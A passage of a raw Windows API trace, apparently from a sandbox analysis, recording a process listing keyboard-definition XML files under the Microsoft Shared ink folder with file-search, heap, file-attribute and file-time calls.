returned 0xf92890 [0049.133] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d220 [0049.133] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.133] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0049.133] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.133] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.133] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.133] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.133] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.133] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92788 [0049.133] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0049.133] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90d50 [0049.133] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92aa0 [0049.134] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.134] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0049.134] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.134] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.134] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.134] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.134] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.134] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90d70 [0049.134] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92ba8 [0049.134] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.134] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0049.134] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.134] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.134] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.134] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.134] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.134] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90d90 [0049.134] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92cb0 [0049.134] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.134] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0049.134] GetLastError () returned 0x12 [0049.134] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0049.134] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0049.134] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.134] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0049.134] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0049.134] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0049.134] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0049.134] GetLastError () returned 0x12 [0049.135] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92890) returned 1 [0049.135] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0049.135] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92788) returned 1 [0049.135] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92680) returned 1 [0049.135] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0049.135] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0049.135] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92680 [0049.135] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0049.137] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0049.137] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0049.137] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf934e0 [0049.137] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf934e0, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf934e0, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0049.137] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf934e0) returned 1 [0049.137] NtClose (Handle=0x188) returned 0x0 [0049.137] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92680) returned 1 [0049.137] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.137] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0049.138] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92680 [0049.138] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.138] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92788 [0049.138] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0049.444] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.444] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0049.444] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.444] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.444] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.444] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.444] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.444] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92890 [0049.445] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0049.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90db0 [0049.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92db8 [0049.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x400) returned 0xf934e0 [0049.445] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf870d0) returned 1 [0049.445] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.445] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0049.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.445] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.445] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90dd0 [0049.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92ec0 [0049.445] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.445] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0049.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.445] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.445] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90df0 [0049.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92fc8 [0049.445] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.445] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0049.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.445] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.445] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90e10 [0049.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf930d0 [0049.446] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.446] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0049.446] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.446] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.446] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.446] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.446] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.446] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90e30 [0049.446] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf931d8 [0049.446] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.446] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0049.446] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.446] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.446] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.446] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.446] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.446] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90e50 [0049.446] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf932e0 [0049.446] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.446] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0049.446] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.446] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.446] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.446] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.446] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.446] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90e70 [0049.446] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf93900 [0049.446] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.446] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0049.446] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.446] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.446] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.446] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90e90 [0049.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf93a08 [0049.447] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.447] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0049.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.447] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.447] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90eb0 [0049.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf93b10 [0049.447] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.447] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 